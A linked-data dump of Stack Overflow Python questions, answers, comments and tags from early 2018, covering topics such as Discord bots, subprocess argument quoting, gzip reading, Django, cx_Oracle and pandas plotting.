has comment: http://stackoverflow.com/comment/84611476

http://stackoverflow.com/comment/84554705
has text: Thanks.. This is what i am looking for. But ipdb.interfaces.keys is displaying output as [1, 2, 3, 4, 5, 6, 'lo', 'eth0', 'eno3', 'vethf7', 575, 'virbr1-nic', 'virbr0']. Is there a way which i can fetch only names with out unwanted numbers..
score: 0
comment on: http://stackoverflow.com/q/48776095
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84334636
comment on: http://stackoverflow.com/a/48668287
type: Comment
score: 0
type: AnswerComment
has text: @pault The file he showed has a line break at the end of that number, so it should stop there.

http://stackoverflow.com/comment/84330781
comment on: http://stackoverflow.com/q/48666518
score: 0
type: Comment
type: QuestionComment
has text: @Aran-Fey Just posted the updated code. Please check. Please let me know if you have any solution

http://stackoverflow.com/q/48774731
has comment: http://stackoverflow.com/comment/84551070
has title: Discord Bot: How would I make this work?
has comment: http://stackoverflow.com/comment/84551666
has comment: http://stackoverflow.com/comment/84551087
has body: I currently have a python discord bot script that grabs an API of a price of a certain coin, however, whenever I try to put it into the 'client.change_presence' it gives me a "must be a str, not a list" error. I tried to convert it into a string, as you will see in my source code, but this did not work either, coming up with: "TypeError: Can Only Join An Iterable" import requests import discord import asyncio url = 'https://cryptohub.online/api/market/ticker/PLSR/' response = requests.get(url) data = response.json()['BTC_PLSR'] client = discord.Client() @client.event async def on_ready(): print('Logged in as') print(client.user.name) print(client.user.id) print('------') list = data['last'] price = print('PLSR Price:', data['last']) string = ''.join(list) await client.change_presence(game=discord.Game(name="PLSR Price: " + string)) @client.event async def on_message(message): if message.content.startswith('!test'): counter = 0 tmp = await client.send_message(message.channel, 'Calculating messages...') async for log in client.logs_from(message.channel, limit=100): if log.author == message.author: counter += 1 await client.edit_message(tmp, 'You have {} messages.'.format(counter)) elif message.content.startswith('!sleep'): await asyncio.sleep(5) await client.send_message(message.channel, 'Done sleeping') client.run('Removed Token for Security Reasons') How can I make this work? Thanks! (Python 3.6.4)
type: Question
tagged with: discord.py
accepted answer: http://stackoverflow.com/a/48774801
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84551193
has answer: http://stackoverflow.com/a/48774801
tagged with: python
tagged with: discord
has comment: http://stackoverflow.com/comment/84551950
type: AnsweredQuestion

http://stackoverflow.com/a/48707219
answers question: http://stackoverflow.com/q/48679734
type: Answer
has comment: http://stackoverflow.com/comment/84413398
has comment: http://stackoverflow.com/comment/84484356
has body: First of all you have to convert all the text data into machine readable form as machine learning algorithms only understand vectors. 1) Find the vocabulary of the dataset 2) Use CountVectorizer() or tfidfVectorizer() to convert the text into vectors 3) Now train a naive bayes classifier on the pre-processed dataset for more detail check this out https://machinelearningmastery.com/prepare-text-data-machine-learning-scikit-learn/
score: 0
has comment: http://stackoverflow.com/comment/84439485
has comment: http://stackoverflow.com/comment/84486382

http://stackoverflow.com/a/48763931
type: Answer
score: 10
upvote count: 10
has body: As is clearly documented, Django template language doesn't allow () or []. Functions are called automatically and the dot notation is used for item lookups. Also, a Pandas datatable doesn't have an itertools method; you probably meant itertuples which works like this: {% for b in MyTable.itertuples %} &lt;td&gt;{{ b.day }}&lt;/td&gt;&lt;td&gt; {{ b.data }}&lt;/td&gt; {% endfor %}
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48762617
downvote count: 0
answers question: http://stackoverflow.com/q/48762617

http://stackoverflow.com/comment/84530437
comment on: http://stackoverflow.com/q/48764974
score: 0
type: QuestionComment
type: Comment
has text: No category model?

http://stackoverflow.com/comment/84631539
type: Comment
has text: @Sel_Python, sorry I can't read your code, or understand what you mean. What is asset? Feel free to ask a new question if this specific answer doesn't help.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48798029

http://stackoverflow.com/comment/84574951
comment on: http://stackoverflow.com/a/48786594
type: Comment
score: 0
type: AnswerComment
has text: @Madi7 try to send it as raw data with type json.

http://stackoverflow.com/q/48697672
has answer: http://stackoverflow.com/a/48697863
tagged with: subprocess
type: UnansweredQuestion
type: Question
tagged with: escaping
has comment: http://stackoverflow.com/comment/84395187
tagged with: python-2.7
score: 0
tagged with: batch-file
answer count: 1
has body: I know there is plenty about this already on S/O but I'm at a loss. This is the minimum source set to reproduce the issue: File test.py from subprocess import call Filename1 = "A &amp; B.txt" Filename2 = "A&amp;B.txt" Archivename1 = "A &amp; B.7z" Archivename2 = "A&amp;B.7z" ShellArgs = ["7zip.bat", "a", Archivename1, Filename1] call (ShellArgs, shell = False) ShellArgs = ["7zip.bat", "a", Archivename2, Filename2] call (ShellArgs, shell = False) File 7Zip.bat "C:\Program Files\7-Zip\7z.exe" %* A&amp;B.txt and A &amp; B.txt can be any existing files. If you are going to try to reproduce the problem I recommend using an empty folder, as the erroneous behaviour causes 7-Zip to try to create an archive of the entire folder's contents. The issue I have is that the first call works, the second doesn't, and I believe the reason is that Python sees that the argument A &amp; B.txt contains spaces, so it double quotes the argument. The second fails as A&amp;B.txt contains no spaces, so it doesn't supply the quotes. Windows therefore sees the command line "C:\Program Files\7-Zip\7z.exe" a A&amp;B.7z A&amp;B.txt which it interprets as 3 chained commands - i.e. "C:\Program Files\7-Zip\7z.exe" a A B.7z A B.txt Unfortunately, the first one is interpreted by 7Zip as "name the archive A.7z and put everything you can find in it" (I left it running overnight and came to work to find a 35 Gb file in one of the folders the program traversed). How can I get around this failure to quote the arguments when the filename has no spaces? I tried adding them myself, but they (I'm not actually sure who "they" are) helpfully escaped the double quotes -i.e. turned the "'s into \"'s. I guess other special characters might also cause similar issues - I haven't tried.
has comment: http://stackoverflow.com/comment/84394276
has title: Python subprocess call with a filename containing ampersands
has comment: http://stackoverflow.com/comment/84394491
tagged with: python

http://stackoverflow.com/comment/84370916
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48686212
score: 0
has text: Well point is that their api is kinda stupidly written for example for Arabic the rest parameter is 'ar' for Armenian it is 'hy_AM' and I don't know about any ISO standard that looks this way.

http://stackoverflow.com/q/48765610
tagged with: python
possible better answer: http://stackoverflow.com/a/62589283
score: 4
has answer: http://stackoverflow.com/a/61283714
has title: Reading lines from gzipped text file in Python and get number of original compressed bytes read
has answer: http://stackoverflow.com/a/48766028
has answer: http://stackoverflow.com/a/62589283
has answer: http://stackoverflow.com/a/48780730
has body: I have many gzipped text files I want to decompress and read on the fly (online) and process so I can save disk space and also time reading data from disk at the expense of time of decompressing online. So I use gzip module as well as tqdm to track progress. But how can I find out the size of original uncompressed file size in order to set total bytes (uncompressed) count to read before finish to track the progress? As far as I've concerned from searching the web this problem is hard to tackle in gzip for files larger than 4 gigabytes which is my case. Or alternatively I should track the count of compressed bytes read, having total bytes count set with the size of compressed file. How can I achive that? Here is the code example below with comments also reflecting what I'm trying to achieve. I am using Python 3.5 . import gzip import tqdm import os size = os.path.getsize('filename.gz') pbar = tqdm.tqdm(total=size, unit='b', unit_scale=True, unit_divisor=1024) with gzip.open('filename.gz', 'rt') as file: for line in file: bytes_uncompressed = len(line.encode('utf-8')) # but how can I get compressed bytes read count? # bytes_compressed = ...? # pbar.update(bytes_compressed)
tagged with: gzip
accepted answer: http://stackoverflow.com/a/48766028
upvote count: 4
answer count: 4
type: AnsweredQuestion
downvote count: 0
favorite count: 0
type: Question
tagged with: filesize

http://stackoverflow.com/comment/84443453
score: 0
comment on: http://stackoverflow.com/a/48719682
type: Comment
type: AnswerComment
has text: What is self._clients (and is it necessary?) and when user is disconnected from the game how Client instance will be deleted?

http://stackoverflow.com/comment/84294019
type: Comment
has text: Wouldn't `np.gradient(logy, logx)` be what you are looking for?
score: 0
comment on: http://stackoverflow.com/q/48648116
type: QuestionComment

http://stackoverflow.com/a/48757712
has comment: http://stackoverflow.com/comment/84550717
has body: Well, few things: First of all, python has this weird garbage collecting issue with tkinter images, in order to really pass the image to your canvas, you need to anchor down first otherwise it would just got wiped when it was passed to canvas. This is what i did after learning from other people's example: window.image = create_image(WIDTH, HEIGHT) Once you anchor it down to your Tk(), it shouldn't get collected and erased anymore as long as your Tk() exists. Second problem is your placement of image, you might want to place it to the center of your canvas instead of the corner of it: canvas.create_image(WIDTH//2, HEIGHT//2, image=window.image) In the end your program would look like this: window = tk.Tk() canvas = tk.Canvas(window, width=WIDTH, height=HEIGHT) window.image = create_image(WIDTH, HEIGHT) canvas.create_image(WIDTH//2, HEIGHT//2, image=window.image) canvas.pack(fill=tk.BOTH, expand=tk.TRUE) window.mainloop() BTW a circle of a radius of 10 is just too small in a canvas of 640 x 480, you might want to increase this number to 100 or so. if x**2 + y**2 &lt; 10000: Like that^
answers question: http://stackoverflow.com/q/48737160
downvote count: 0
score: 3
type: Answer
has comment: http://stackoverflow.com/comment/84553275
upvote count: 3

http://stackoverflow.com/a/48798375
has comment: http://stackoverflow.com/comment/84620042
type: Answer
has body: I believe your issue lies at line 54. If I understand correctly, you want each snowflake to update it's color independently. Therefore, you should update the display within the for loop. Line 54should be indented once so that the color is updated with every iteration of the for-loop. Hope this helps!
answers question: http://stackoverflow.com/q/48798287
score: 0

http://stackoverflow.com/comment/84444097
comment on: http://stackoverflow.com/a/48721681
has text: Also for plantcv if I use 'import plantcv' It imports fine, however, if I use help('modules') it does not appear in the modules list
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/84561093
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48779656
has text: cool, it looks neat thanks for answer but how can I get value of keys like if it is in list i can easily get value and I can render it to template, How can I render value when they are in the table format, I never used data frame before, please explain me

http://stackoverflow.com/comment/84594560
type: Comment
has text: And there is another problem: `generates an array of length L with numbers ranging from -W to W` is not right - it would generate numbers from [-M...M], not [-W...W]. Use `arr = np.random.choice(range(-M, M+1),L) ` instead.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48794345

http://stackoverflow.com/comment/84336572
type: AnswerComment
has text: Actually all I did was remove .splitlines() and boom it worked :)
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48668814

http://stackoverflow.com/a/48803499
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84632423
accepted answer of: http://stackoverflow.com/q/48777490
type: Answer
answers question: http://stackoverflow.com/q/48777490
has comment: http://stackoverflow.com/comment/84636330
has body: First I'll refactor your code and present the code examples. Afterwards I'll explain the changes. models.py class ExampleModel(models.Model): foo_field = models.CharField( primary_key=True, max_length=15) # rest ... You have set foo_field as primary key. It is a bad practice to use strings (VARCHAR) as primary key. It is highly recommended to use surrogate keys. This will be accomplished automatically by Django. It adds a field id as primary key. The serializers.py will now work as it is. No changes are needed. Also the views.py should work without changes. However I'll cover the option with foo_field as primary key. views.py class ExampleUpdateView(generics.UpdateAPIView): # rest ... lookup_field = `foo_field` You could also leave this out, but it is important to make some changes in your urls.py. urls.py url(r'^examples/$', views.ExampleCreateView.as_view()), url(r'^examples/(?P&lt;pk&gt;\d+)/$',views.ExampleUpdateView.as_view()), In order for a web services to be ReSTful, they have to comply with the REST principles. One of the most important rules is that we shouldn't use a verb in the URL for describing the action. Another convention is that the resource name is used in plural to describe the collection and an identifier is used to access single resource. Your resource is called example, therefore we use examples as collection name. Verbs like get or update have no place in the URL. The HTTP method is responsible for the proper action. If you'd like to use foo_field as primary key, then you have to change the url for the update view: url(r'^examples/(?P&lt;pk&gt;[\w-]+)/$',views.ExampleUpdateView.as_view()), This is because your foo_field is a CharField (or string), so the arguments passed to it should match any alphanumeric character (\w) and the hyphen (-). You can use foo_field as named group in your url regex instead of pk if you wish. Pay attention that you adapt that in your view, setting the correct values for lookup_field and lookup_url_kwarg. Again I'l…
upvote count: 5
score: 5

http://stackoverflow.com/comment/84715882
comment on: http://stackoverflow.com/a/48827162
score: 0
type: AnswerComment
type: Comment
has text: this may help further: https://stackoverflow.com/questions/27928374/c-eigen-how-to-concatenate-matrices-dynamically-pointer-issue

http://stackoverflow.com/comment/84560981
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48779589
type: QuestionComment
has text: Could you explain what it is you're trying to do?

http://stackoverflow.com/q/48747218
favorite count: 0
duplicate of: http://stackoverflow.com/q/37301217
has comment: http://stackoverflow.com/comment/84496437
tagged with: python
type: AnsweredQuestion
has body: I think my problem is easy to solve but I just cannot find a solution. I want to make a horizontal stacked bar chart with Matplotlib/Pandas using this data. The csv-file contains the answers from a questionnaire. "Q4" contains values from 1-7. 6 and 7 are supposed to be missing values. missing = {"Q4":[6,7]} df = pd.read_csv("my_file.csv", sep=";", na_values=missing) I want to plot the value counts of "Q4" by using something like this. df["Q4"].value_counts() The output is this: 1.0 2906 2.0 1508 3.0 738 4.0 206 5.0 154 My plot should consist of one horizontal column showing the value counts of value 1-5 as a stacked bar.
score: 0
has answer: http://stackoverflow.com/a/48747351
has comment: http://stackoverflow.com/comment/84495231
upvote count: 1
downvote count: 1
type: Question
tagged with: charts
accepted answer: http://stackoverflow.com/a/48747351
tagged with: matplotlib
tagged with: pandas
has title: Horizontal stacked bar chart in Matplotlib/Pandas
answer count: 1
linked to: http://stackoverflow.com/q/37301217

http://stackoverflow.com/comment/84505709
comment on: http://stackoverflow.com/q/48752465
score: 0
type: QuestionComment
type: Comment
has text: Good thing you're not looking for `varargout` - that one isn't possible in Python.

http://stackoverflow.com/comment/84311979
type: QuestionComment
comment on: http://stackoverflow.com/q/48657151
has text: looks like you have to create a sparse matrix from dictionary values. am I right?
score: 0
type: Comment

http://stackoverflow.com/comment/84698085
has text: @Psytho Most problems are common and have already been asked and answered. Searching for duplicates before you answer is always a prudent step, doubly so if you recognize the problem quickly.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48802374
type: Comment

http://stackoverflow.com/comment/84439298
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48711465
type: Comment
has text: To have a MVCE I showed creation and attempted splitting, and picked the "v" versions (vstack and vsplit). But naturally I don't always have control over the input data organisation (e.g. if from an online database). So the row iteration is a special case -- and very clean when it does work.

http://stackoverflow.com/comment/84355854
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48679254
has text: Is your project getting cloned or created by makedir.sh?
score: 0

http://stackoverflow.com/a/65163981
answers question: http://stackoverflow.com/q/48763290
has body: You can also edit PyCharm's test runner helper script. For me it is located /opt/JetBrains/PyCharm/plugins/python-ce/helpers/pycharm/_jb_nosetest_runner.py. Then do import django and immediately after the main entry point do django.setup(). I have included the entire file from my machine for completeness. # coding=utf-8 import re import nose import sys import django from _jb_runner_tools import jb_start_tests, jb_patch_separator, jb_doc_args, JB_DISABLE_BUFFERING from teamcity.nose_report import TeamcityReport if __name__ == '__main__': django.setup() path, targets, additional_args = jb_start_tests() sys.argv += [path] if path else jb_patch_separator(targets, fs_glue="/", python_glue=".", fs_to_python_glue=".py:") sys.argv += additional_args if JB_DISABLE_BUFFERING and "-s" not in sys.argv: sys.argv += ["-s"] jb_doc_args("Nosetest", sys.argv) sys.exit(nose.main(addplugins=[TeamcityReport()])) Then you can right click any test in the Project tool window and click Run test. You can also right any directory where unit tests file are and click Run Unittests in tests. NOTE: you will need to make sure all required environment variables on added to the Run Configuration before running unit tests.
upvote count: 2
type: Answer
score: 2
downvote count: 0

http://stackoverflow.com/q/48777177
has comment: http://stackoverflow.com/comment/84557183
tagged with: linux
tagged with: oracle-database
tagged with: windows
answer count: 0
type: UnansweredQuestion
tagged with: python
has title: Why does cx_Oracle bulk insert fail on Windows but work on Linux?
type: Question
has comment: http://stackoverflow.com/comment/84556215
score: 0
tagged with: cx-oracle
has body: I am using the cx_Oracle executemany() function to insert 500,000 rows into a table in batches of 200,000. The function works on RHEL Linux and fails on Windows 7. The issue persists regardless of user, database, and table. The issue only occurs when inserting more than ~150,000 rows. Please help me understand why this fails on Windows and how to solve the issue. Python 3.5 cx_Oracle 5.3 Error message is ORA-03114: not connected to ORACLE. Code is # Create an Oracle connection connection = cx_Oracle.connect(user= user, password= pwd, dsn = tns) # Create a cursor cursor = cx_Oracle.Cursor(connection) try: # Compile the insert SQL w/ bind variable cursor.prepare(insert_sql) time.sleep(0.01) # Execute the insert statement, commit &amp; close connection cursor.executemany(None, row_batch) time.sleep(0.01) connection.commit() cursor.close() connection.close() time.sleep(0.01) # In case of error, still close the connection! # This avoids a table lock when accessing the table from a different connection # at a later date, if this Python session is still active except Exception as e: cursor.close() connection.close() raise Exception(e)

http://stackoverflow.com/q/48694420
upvote count: 3
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/84389039
favorite count: 0
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python
tagged with: dictionary
linked to: http://stackoverflow.com/q/3860813
score: 2
has body: Below is the tree as a dictionary: tree = {'X1': {0: {'X2': {0: 0, 1: {'X3': {0: 1, 1: 0}}}}, 1: {'X3': {0: 1, 1: 0}}}} How do I traverse through this tree in python and print only the nodes? Eg X1, X2...
type: Question
has answer: http://stackoverflow.com/a/48694892
has title: Traversing through nested dictionary tree
has comment: http://stackoverflow.com/comment/84387383

http://stackoverflow.com/q/48656391
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/84392972
upvote count: 1
has comment: http://stackoverflow.com/comment/84479513
type: Question
has comment: http://stackoverflow.com/comment/84394624
has answer: http://stackoverflow.com/a/48657161
linked to: http://stackoverflow.com/q/13358656
answer count: 1
downvote count: 0
tagged with: instantclient
favorite count: 0
has comment: http://stackoverflow.com/comment/84349055
has body: I want to learn how to work with an Oracle Database using Python. If I understand correctly, you can use Oracle Instant Client to connect to an Oracle Database remotely, but I cannot connect. I suspect the issue is that I don't know what arguments to use for the localhost/instance combo. I believe localhost is simply my machine name, or it may be literally 'localhost' which I have tried, but I don't know how and can't find help to tell me how to locate the service name for the database instance. In a prompt I opened python, imported cx_Oracle and used 'Easy Connect String' as specified in this sample code, using either "(my machine name)/orclpdb" or literally "localhost/orclpdb" for DEFAULT_CONNECT_STRING. The sample code creates a variable MAIN_CONNECT_STRING which I used in a command prompt to attempt to connect to the remote database: cnxn = cx_Oracle.connect(MAIN_CONNECT_STRING) cx_Oracle.DatabaseError: ORA-12541: TNS:no listener I find answers that seem to be based on this, or others referring to tnsnames.ora, or listener.ora which are files I don't have. I also tried using instantclient-sqlplus-nt-12.2.0.1.0. Background: Windows 7 I downloaded cx_Oracle-6.1-cp27-cp27m-win32.whl and instantclient-basic-nt-12.2.0.1.0.zip I put the .whl into "C:\Python27\Scripts\" I used python -m pip install cx_Oracle --upgrade to install cx_Oracle. I unzipped the instant client zip and put the child folder here "C:\instantclient_12_2" I added ;C:\instantclient_12_2 to the end of PATH.
tagged with: oracle-database
tagged with: python
has title: cx_Oracle.DatabaseError: ORA-12541: TNS:no listener
has comment: http://stackoverflow.com/comment/84347766

http://stackoverflow.com/a/48686707
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/48686594
has body: Use np.set_printoptions(formatter={'float': '{: 0.3f}'.format}) before printing the array. In [1]: import numpy as np In [2]: a = np.random.random(20) In [3]: print(a) [ 0.78298863 0.09129314 0.04204522 0.04574351 0.76764957 0.58406234 0.26670654 0.39624515 0.27261618 0.29430686 0.49316331 0.72693718 0.16535966 0.53017297 0.66432047 0.24194043 0.91635168 0.29603418 0.07480831 0.67555659] In [4]: np.set_printoptions(formatter={'float': '{: 0.3f}'.format}) In [5]: print(a) [ 0.783 0.091 0.042 0.046 0.768 0.584 0.267 0.396 0.273 0.294 0.493 0.727 0.165 0.530 0.664 0.242 0.916 0.296 0.075 0.676]
downvote count: 0

apache-beam
tags question: http://stackoverflow.com/q/48668686
type: Tag
tags question: http://stackoverflow.com/q/48709524
tags question: http://stackoverflow.com/q/48775215
tags question: http://stackoverflow.com/q/48763747
tags question: http://stackoverflow.com/q/48710679
tags question: http://stackoverflow.com/q/48767365
tags question: http://stackoverflow.com/q/48741327
tag name: apache-beam

unmanagedexports
tags question: http://stackoverflow.com/q/48732331
tag name: unmanagedexports
type: Tag

http://stackoverflow.com/comment/84597181
has text: You're right @MartijnPieters - that's better.
score: 0
comment on: http://stackoverflow.com/q/48797161
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84430740
comment on: http://stackoverflow.com/q/48715692
type: Comment
type: QuestionComment
has text: What is `f4`???
score: 1

http://stackoverflow.com/q/48722770
has body: I’m currently working to develop simple application for information kiosk under Windows 7 platform. This is my 2nd project using Python3.4 + qt designer + pyqt to build the interface and code. In this project i want to use phonon video player(K-lite codec installed) to play all video and it should be a cross-platform application(will deploy into RPI 3). Up to now, i have a few roadblocks and still can’t configure how to solve it even-though googling everywhere. Below are some of the problems that i’m looking for solution; Main window contain a tabwidget, Home, Menu and Preferences. Under Home tab, i did insert Phonon video player to play an intro video automatically when detect action. The video should keep looping if no mouse movement detected. If there is mouse movement detected, it should shift to Menu tab for further action. How can i do that in smart way? Under Menu tab, there are push button created to allow display the information video. Right now, i managed to play the video when user clicked in fullscreen mode but didn’t know how to exit the fullscreen and stop the backend player if user want to quit. Below is the code for reference; class MainWindow(QtGui.QMainWindow, Ui_mainWindow): def __init__(self, parent = None): super(MainWindow, self).__init__() QtGui.QMainWindow.__init__(self) Ui_mainWindow.__init__(self) QtGui.QWidget.__init__(self, parent) self.media = Phonon.MediaObject(self) self.setupUi(self) self.toolButton_A.clicked.connect(self.on_click) self.toolButton_B.clicked.connect(self.on_click) self.toolButton_C.clicked.connect(self.on_click) #self.uploadButton_A.clicked.connect(self.file_save) self.pushButton_corp.clicked.connect(self.playVideo_corp) self.pushButton_product.clicked.connect (self.playVideo_product) self.pushButton_fab.clicked.connect(self.playVideo_fab) self.pushButton_Start.clicked.connect(self.playVideo_intro) self.window2 = None def on_click(self): filename = QFileDialog.getOpenFileName(self,"Open File","",'All Files (*)') if fil…
tagged with: python-3.x
answer count: 0
type: UnansweredQuestion
tagged with: phonon
has comment: http://stackoverflow.com/comment/84452668
has comment: http://stackoverflow.com/comment/84461810
has comment: http://stackoverflow.com/comment/84444523
has comment: http://stackoverflow.com/comment/84444416
has comment: http://stackoverflow.com/comment/84444742
has title: Qt phonon play video automatically
type: Question
tagged with: pyqt
has comment: http://stackoverflow.com/comment/84444775
tagged with: pyqt4
has comment: http://stackoverflow.com/comment/84444671
score: 0
tagged with: python
has comment: http://stackoverflow.com/comment/84445146

http://stackoverflow.com/q/48795945
downvote count: 0
tagged with: beautifulsoup
has body: When trying to parse an email sent using MS Outlook, I want to be able to strip the annoying Microsoft XML tags that it has added. One such example is the o:p tag. When trying to use Python's BeautifulSoup to parse an email as HTML, it can't seem to find these specialty tags. For example: from bs4 import BeautifulSoup textToParse = """ Something to parse <o:p>This should go</o:p>Paragraph """ soup = BeautifulSoup(textToParse, "html5lib") body = soup.find('body') for otag in body.find_all('o'): print(otag) for otag in body.find_all('o:p'): print(otag) This will output no text to the console, but if I switched the find_all call to search for p then it would output the p node as expected. How come these custom tags do not seem to work?
answer count: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/48798034
has comment: http://stackoverflow.com/comment/84594945
favorite count: 0
tagged with: python-3.x
upvote count: 2
has comment: http://stackoverflow.com/comment/84598715
has title: Parsing MS specific html tags in BeautifulSoup
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84595120
type: Question
has answer: http://stackoverflow.com/a/48798034
score: 2

http://stackoverflow.com/a/48780710
has body: In addition to @jll123567's excellent suggestion (+1) about passing, instead of calling, the event handler functions, you need to get rid of the while True==True: loop and move its content up a level. An infinite loop like this keeps listen() and mainloop() from getting called so your events never get registered, nor handled. A complete solution: from turtle import Turtle, Screen def up(): turtle.forward(10) def left(): turtle.left(10) def right(): turtle.right(10) # init screen, turtle screen = Screen() turtle = Turtle() turtle.speed('normal') screen.onkey(up, 'Up') screen.onkey(left, 'Left') screen.onkey(right, 'Right') screen.listen() screen.mainloop()
type: Answer
upvote count: 2
score: 2
answers question: http://stackoverflow.com/q/48777798
downvote count: 0

http://stackoverflow.com/comment/84545044
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48771904
has text: I removed "sql" from the tags. I notice your question mentions SQL. However, that is unnecessary if you are using data frames.
score: 0

http://stackoverflow.com/a/48680822
score: 2
accepted answer of: http://stackoverflow.com/q/48675563
answers question: http://stackoverflow.com/q/48675563
has body: Well I just changed the line: training_samples = utils_data.TensorDataset(torch.from_numpy(x), torch.from_numpy(y)) Adding the torch.from_numpy (otherwise, it was throwing an error, thus nor running) and I get a learning curve that looks something like this:
type: AcceptedAnswer
downvote count: 0
upvote count: 2
type: Answer

http://stackoverflow.com/q/48669998
has body: I am writing a class that I will translate to both Python and C#. My code uses the nice "glm" library. Glm provides useful datatypes, e.g: Vec3. Can I make Vec3 visible to the Python and C# users of my class? In other words, can I expose public methods using Vec3 datatypes? Here is a sample Haxe code with a class whose public function uses the Vec3 type: // Test execution: // haxe -main TestGLM1 -lib glm --interp // Translate into Python: // haxe -main TestGLM1 -python TestGLM1.py -lib glm // python3 TestGLM1.py import glm.Vec3; import glm.Quat; import glm.Mat4; class TestGLM1 { public function new() { } static function main() { // My test of the method taking 3D datatypes as input and output var t: TestGLM1 = new TestGLM1() ; var v1: Vec3 = new Vec3(1,2,3) ; var v2: Vec3 = new Vec3(7,8,9) ; t.testVecIO(v1, v2); trace(v1, v2); } public function testVecIO(vec_in: Vec3 , vec_out: Vec3) { vec_out.x = vec_in.x + vec_out.x; vec_out.y = vec_in.y + vec_out.y; vec_out.z = vec_in.z + vec_out.z; } } I would like to write a Python test like this: from TestGLM1 import TestGLM1 from TestGLM1 import glm_Vec3 print("Python Test...") t = TestGLM1() v1 = glm_Vec3(1,2,3) # Vec3() v2 = glm_Vec3(4,5,6) # Vec3() t.testVecIO(v1, v2) print(v1, v2) print("Python done.") However, this test fails: ImportError: cannot import name 'glm_Vec3' because the only class that I can see in TestGLM1.py is: class glm_Vec3Base: _hx_class_name = "glm.Vec3Base" __slots__ = ("x", "y", "z") _hx_fields = ["x", "y", "z"] def __init__(self): self.z = None self.y = None self.x = None which has both an unfriendly name and doesn't show a proper constructor. Any advice? Thanks.
tagged with: haxelib
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48683909
upvote count: 3
type: Question
score: 3
has title: How can I expose, together with my classes, the types imported from the glm Haxe lib?
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/48683909
favorite count: 0
tagged with: haxe

http://stackoverflow.com/comment/84542585
comment on: http://stackoverflow.com/a/48755757
type: AnswerComment
has text: You will need to assign it back to your column, do `df["Date Posted"] = df["Date Posted"].map(lambda x: x.replace(year=2017))` and then save it.
score: 0
type: Comment

http://stackoverflow.com/comment/84934613
has text: @Jason, let me extend the answer a little bit.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48910642
type: Comment

odoo
tags question: http://stackoverflow.com/q/48707749
tags question: http://stackoverflow.com/q/48764563
tags question: http://stackoverflow.com/q/48664444
tags question: http://stackoverflow.com/q/48699068
tags question: http://stackoverflow.com/q/48701221
tags question: http://stackoverflow.com/q/48801111
tags question: http://stackoverflow.com/q/48763624
tags question: http://stackoverflow.com/q/48659308
type: Tag
tags question: http://stackoverflow.com/q/48791801
tags question: http://stackoverflow.com/q/48800737
tags question: http://stackoverflow.com/q/48759546
tags question: http://stackoverflow.com/q/48734127
tag name: odoo

http://stackoverflow.com/comment/84363684
comment on: http://stackoverflow.com/q/48683024
score: 0
type: Comment
type: QuestionComment
has text: @quamrana It works! Thank u

http://stackoverflow.com/a/48722394
type: Answer
score: 3
upvote count: 3
has body: You can either try to flatten the JSON (see this link) or redefine your serializer as below: class SocialSerializer(serializers.ModelSerializer): pk = serializers.SerializerMethodField() first_name = serializers.SerializerMethodField() last_name = serializers.SerializerMethodField() class Meta: model = SocialAccount fields = ('uid', 'provider', 'pk', 'first_name', 'last_name') def get_pk(self, obj): return obj.user.pk def get_first_name(self, obj): return obj.user.first_name def get_last_name(self, obj): return obj.user.last_name These are serializers.SerializermethodField() fields which will look at the get_&lt;field_name&gt; method and call them and use the returned value. http://www.django-rest-framework.org/api-guide/fields/#serializermethodfield
has comment: http://stackoverflow.com/comment/116647742
answers question: http://stackoverflow.com/q/48721806
downvote count: 0

http://stackoverflow.com/q/48669273
downvote count: 0
has title: Sorting list of data Python
favorite count: 0
tagged with: nested-lists
type: UnansweredQuestion
upvote count: 1
tagged with: python
answer count: 0
has body: I need some help with sorting the list of duplicates within the list that contains even more data. Basically what I get when I run def which is empty. pprint.pprint(response) ([], [], [], []) After I fill it with data: pprint.pprint(response) ([], [], [], [{u't_ids': [], u'id': u'1', u'users': [{u'favorite': u'One', u'id': u'123456789', u'nemesis': u'Red'}, {u'favorite': u'Two', u'id': u'987654321', u'nemesis': u'Blue'}], u'topic': u'FavNem'}]) So now the tricky part. If i by chance have more of the lists inside this last(forth) list. I want to get rid of duplicates. Since they will generate a response that would look like this: pprint.pprint(response) ([], [], [], [{u't_ids': [], u'id': u'1', u'users': [{u'favorite': u'One', u'id': u'123456789', u'nemesis': u'Red'}, {u'favorite': u'Two', u'id': u'987654321', u'nemesis': u'Blue'}], u'topic': u'FavNem1'}]{u't_ids': [], u'id': u'2', u'users': [{u'favorite': u'One', u'id': u'123456789', u'nemesis': u'Red'}, {u'favorite': u'Two', u'id': u'987654321', u'nemesis': u'Blue'}, {u'favorite': u'Three', u'id': u'555555555', u'nemesis': u'Yellow'}], u'topic': u'FavNem2'}]) My goal is to get this outcome: note: It's called response2 and it may/may not have other 3 empty, I can embed the response2 as fifth list. If you see what I'm aiming at. pprint.pprint(response2) ([], [], [], [{u't_ids': [], u'id': u'1', u'users': [{u'favorite': u'One', u'id': u'123456789', u'nemesis': u'Red'}, {u'favorite': u'Two', u'id': u'987654321', u'nemesis': u'Blue'}], u'topic': u'FavNem1'}]{u't_ids': [], u'id': u'2', u'users': [{u'favorite': u'Three', u'id': u'555555555', u'nemesis': 